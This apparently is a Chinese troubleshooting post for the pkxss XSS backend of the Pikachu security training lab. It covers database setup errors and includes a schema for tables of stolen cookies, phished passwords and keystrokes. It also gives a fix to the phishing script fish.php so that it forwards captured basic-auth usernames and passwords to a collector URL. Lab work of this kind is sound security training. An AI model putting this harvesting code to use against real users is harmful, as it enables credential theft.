【汇总】pikachu-XSS后台-pkXss报错复现不成功

# 错误1 数据库不存在 Unknown database

Warning: mysqli_connect() [function.mysqli-connect: (42000/1049): Unknown database 'pkxss' in E\:phpstudy\phpstudy_prol\WWW\pikachu-labs\pkxss\index.php

![](/media/202401/2024-01-04_103403_0314300.7654999952219309.png)

## 解决办法
出现这个提示说明数据库连接配置是没有问题了。

### 方法1
访问这个地址初始化

http://127.0.0.1/pikachu/pkxss/pkxss_install.php

###  方法2
使用Navicat创建一个pkxss数据，并且把这个语句执行一下，建表。
[MySQL如何新建数据库？](https://wiki.bafangwy.com/doc/672/ "MySQL如何新建数据库？")

```
DROP TABLE IF EXISTS `cookies`;
CREATE TABLE `cookies` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `time` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  `ipaddress` varchar(50) DEFAULT NULL,
  `cookie` varchar(1000) DEFAULT NULL,
  `referer` varchar(1000) DEFAULT NULL,
  `useragent` varchar(1000) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8;

DROP TABLE IF EXISTS `fish`;
CREATE TABLE `fish` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `time` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  `username` varchar(50) DEFAULT NULL,
  `password` varchar(50) DEFAULT NULL,
  `referer` varchar(1000) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

DROP TABLE IF EXISTS `keypress`;
CREATE TABLE `keypress` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `data` varchar(1000) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

DROP TABLE IF EXISTS `users`;
CREATE TABLE `users` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `username` varchar(30) NOT NULL,
  `password` varchar(66) NOT NULL,
  `level` int(11) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=4 DEFAULT CHARSET=utf8;

INSERT INTO `users` VALUES ('1', 'admin', 'e10adc3949ba59abbe56e057f20f883e', '1');

```

# 错误2 参数错误
mysqli fetch_assoc() expects parameter 1 to be mysqli_result

报错如下图所示：

![](/media/202405/2024-05-21_141210_1694780.6419415049848779.png)

## 解决办法
检查这个config.inc.php里的配置

![](/media/202307/2023-07-20_150941_5702940.8987936690267782.png)

然后访问XSS平台的安装地址：

http://localhost/pikachu/pkxss/pkxss_install.php

进行安装数据库，安装完数据库后访问就正常了。

# 问题3 XSS钓鱼，无法获取到用户名密码

## 解决办法
修改文件：
`pikachu/pkxss/xfish/fish.php`

1、这里的超全局变量里面的字段要加上引号
`{$_SERVER['PHP_AUTH_USER']}&password={$_SERVER['PHP_AUTH_PW']}");`
2、删除`{$_SERVER[PHP_AUTH_USER]}`后面多余的换行符号

修改前：
```
header("Location: http://192.168.1.15/pikachu/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}
    &password={$_SERVER[PHP_AUTH_PW]}");
```

修改后：
```
header("Location: http://192.168.1.15/pikachu/pkxss/xfish/xfish.php?username={$_SERVER['PHP_AUTH_USER']}&password={$_SERVER['PHP_AUTH_PW']}");
```

## 正常结果

![](/media/202405/2024-05-21_140637_1433720.7115236430206681.png)